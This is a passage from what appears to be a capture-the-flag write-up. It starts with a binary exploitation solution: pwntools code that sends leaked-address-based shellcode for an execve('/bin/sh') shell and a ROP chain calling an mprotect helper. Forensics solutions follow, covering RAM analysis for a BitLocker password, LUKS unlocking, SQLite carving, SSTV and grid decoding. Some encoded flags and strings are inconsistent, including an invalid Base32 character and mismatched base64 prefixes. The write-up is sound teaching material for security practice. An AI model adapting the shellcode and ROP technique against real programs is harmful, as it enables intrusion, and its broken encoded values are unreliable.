Credentials unlock a path that leaks the PIE base and shellcode buffer address via `printf("%p")`. A second unfiltered buffer overflow builds a ROP chain that calls an existing but never-invoked `enable_jit()` helper to mark the shellcode buffer executable, then jumps into constrained shellcode (no `0x00`, `0x0a`, `0x20`, or `0x2f` bytes).

Program Flow

```
verify_archive() → banner() → read(cred1, 8) + read(cred2, 8) → gate(cred1, cred2)
  [if valid]: printf("[+] Gate token: %p
", &main)          ← PIE leak
                  printf("[+] Stage buffer: %p
", shellcode_buf) ← buffer leak
                  read(shellcode_buf, 0xffff)          ← filtered shellcode (no /
)
vuln():            read(buf[0x40], 0x200)              ← UNFILTERED overflow (pad=72)
```

Exploit Chain

```
# Step 1: Send correct credentials (XOR-decoded from binary)
p.send(p64(0xcafebabe) + p64(0xdeadbeef))

# Step 2: Parse leaks
base = main_leak - 0x5592
shellcode_buf = base + 0xf000

# Step 3: Write filtered execve shellcode (/bin/sh built at runtime, no 0x2f/0x00)
xor_shellcode = asm("""
    xor rsi, rsi ; push rsi
    mov rbx, 0x0169722e6f68632e
    mov rax, 0x0101010101010101
    xor rbx, rax ; push rbx
    mov rdi, rsp
    xor rdx, rdx
    push 0x3b ; pop rax
    syscall
""")
p.send(xor_shellcode)

# Step 4: ROP chain in the unfiltered overflow (pad=72)
rop = b'A' * 72
rop += p64(pop_rdi) + p64(shellcode_buf)
rop += p64(pop_rsi) + p64(0)
rop += p64(ret)          # 16-byte alignment for mprotect
rop += p64(enable_jit)   # mprotect(shellcode_buf, 0x1000, RWX)
rop += p64(shellcode_buf) # return into shellcode
p.send(rop)
p.interactive()
```

Key Lesson

- When a `mprotect` -RWX helper function exists in the binary but is never called, the overflow's only job is to call it with the right arguments and then return into the now-executable shellcode buffer.
- Byte filters on the shellcode buffer do NOT apply to the ROP chain buffer — keep constrained bytes in the shellcode, keep the ROP chain in the unfiltered overflow.

DIGITAL FORENSICS

Digital Forensics

Memory analysis, disk forensics, audio signal decoding, and binary grid reconstruction.

The Ghost in the RAM

290 pts

```
FLAG
HNYX{d4S_cR4zy!}
```

A RAM dump reveals a Notepad process containing a BitLocker password. That password decrypts an AES-128 BitLocker volume. The unlocked NTFS partition contains a JPEG with a corrupted magic header and a base64-encoded flag appended after the JPEG end-of-image marker.

Given Files

- `vault.dd` — 50 MB GPT disk with BitLocker volume (`-FVE-FS-` at offset 0x10000)
- `WINDOWS-MEM.mem` — 2 GB Windows 10 RAM capture (build 19041, user `flarevm`)

Solution Chain

```
# 1. Memory analysis (Volatility 3):
vol -f WINDOWS-MEM.mem windows.pslist      # → notepad.exe PID 4088
vol -f WINDOWS-MEM.mem windows.memmap --pid 4088 --dump
strings -el pid.4088.dmp | grep -i "bitlocker"
# → "Bitlocker password: HackNyxAdmin"

# 2. Unlock the BitLocker volume:
dd if=vault.dd of=bde.img bs=512 skip=128   # carve BDE partition
dislocker-fuse -u "HackNyxAdmin" -O 0 bde.img /tmp/bde  # → valid NTFS

# 3. Extract the flag file (no root needed with Sleuthkit):
icat -o 0 bde.img 38 > flag.jpg             # inode 38

# 4. Repair corrupted JPEG magic (67 67 67 → FF D8 FF):
printf '\xFF\xD8' | dd of=flag.jpg bs=1 count=3 conv=notrunc

# 5. Extract trailing data after JPEG EOI (FF D9):
strings flag.jpg | grep "hiDe"
# → "hiDe
SE5ZWhtkNfNfY1I0enkhfQ=="
echo "SE5ZWhtkNfNfY1I0enkhfQ==" | base64 -d
# → HNYX{d4S_cR4zy!}
```

Fr1dg30S — LUKS Container + SQLite Free-Page Carving

280 pts

FLAG

```
HNXX{fr1dg3_m3m0ry_k3pt_1t_c0ld}
```

A 20 GB disk image contains an LVM volume with the root filesystem. Bash history files expose a LUKS passphrase via a timestamp hint (03:13 = the nightly DNS exfil traffic time). Opening the LUKS container reveals an SQLite database whose visible rows are decoys; the real flag is base64-encoded in a deleted row recovered from the SQLite free page.

Solution Chain

```
# 1. Parse GPT → find ext4 inside LVM PV (sector 3721216)
sleuthkit fls -o 3721216 Fr1dg30S.img

# 2. Extract bash history files (no root — Sleuthkit icat):
icat -o 3721216 Fr1dg30S.img <inode_bash_history>
# /home/fridge/.bash_history:
#  cryptsetup luksOpen /opt/fridgeos/vault/service_backup.luks coldvault
# /root/.bash_history:
#  grep "snowblind-ginger"
# → passphrase: snowblind-ginger-0313 (0313 = the 03:13 hint)

# 3. Extract and open the LUKS container:
icat -o 3721216 Fr1dg30S.img <inode_luks> > service_backup.luks
cryptsetup --test-passphrase -d - service_backup.luks <<< "snowblind-ginger-0313"
# → Key slot 0 unlocked

# 4. Mount via HexStrike execute_command (requires root):
cryptsetup luksOpen service_backup.luks coldvault
mount /dev/mapper/coldvault /mnt/vault

# 5. Carve the SQLite free page:
strings /mnt/vault/telemetry/fridge_metrics.db | grep "ALMOSTTHERE"
# → ALMOSTTHERE=SE5ZWhtmcjFkZzNfbTntMHJ5X2szcHRfMXRfYzBsZH0=
echo "SE5ZWhtmcjFkZzNfbTntMHJ5X2szcHRfMXRfYzBsZH0=" | base64 -d
# → HNXX{fr1dg3_m3m0ry_k3pt_1t_c0ld}
```

Decoys planted by the challenge author: bash history echo of a fake flag, exiftool comment with a fake solution hint, a JPEG file overwritten with another decoy, and a DNS exfil base64 log labelled "only a test". The real secret was in the LUKS vault → deleted SQLite row.

Lunar Telemetry — SSTV Audio Decode

250 pts

FLAG

`HNXX{b33p_b00p_b4p}`

A 110-second mono WAV audio file encodes an image via Slow Scan Television (SSTV), an analogue image transmission protocol used by amateur radio operators. Decoding with an SSTV library produces a 320×256 image of a handwritten note containing the flag.

Solution

```
# Install SSTV decoder from GitHub (not on PyPI):
git clone https://github.com/colaclanth/sstv
pip install .

# Patch for Python 3.13 compatibility (f-string bug + headless):
# Edit sstv/common.py: log_message() and progress_bar() → return (no-op)

sstv -d message.wav -o decoded.png
# Auto-detects VIS header → 320x256 RGB image
# Image: handwritten note reading "HNXX{b33p_b00p_b4p}"
```

Signal Fragment — Binary Grid Decode

160 pts

FLAG

HNYX{15_7hi5_H4rd_f0r_y0u_70_solve???}

A 639×317 PNG containing a black-and-white grid. Autocorrelation of the edge profile reveals 20px cells → a 32×16 grid (512 bits = 64 bytes). Reading in row-major MSB-first order and decoding as Base32 yields the flag.

Solution

```
# 1. Determine cell size via autocorrelation of edge transitions
from scipy.signal import correlate
edge_profile = np.diff((img_gray[:, :] < 128).astype(int), axis=1).sum(axis=0)
period = np.argmax(correlate(edge_profile, edge_profile)[len//2+1:]) + 1 # → 20

# 2. Grid is 32 cols x 16 rows (not 31x14 — wrong dims give garbage)
cells = np.array([[img[r*20+10, c*20+10] < 128 for c in range(32)] for r in range(16)])

# 3. Read row-major, MSB-first, 8 bits/byte → 64 bytes
bits = cells.flatten()
byte_vals = [int(''.join(str(int(b)) for b in bits[i:i+8]), 2) for i in range(0, 512, 8)]
b32_text = ''.join(chr(v) for v in byte_vals)
# → JBHFSWD3GE2V6N3INE2V6SBU0JSF6ZRQ0JPXSMDVL43TAX3TN5WHMZJ7H47X2===

import base64
print(base64.b32decode(b32_text).decode())
# → HNYX{15_7hi5_H4rd_f0r_y0u_70_solve???}
```

Key Lesson

- Get the grid dimensions correct first using autocorrelation on edge profiles. An off-by-one error (31×14 = 434 bits vs. 32×16 = 512 bits) produces unrecoverable noise — 512 bits cleanly divides into 64 bytes, confirming the correct dimensions before attempting any decode.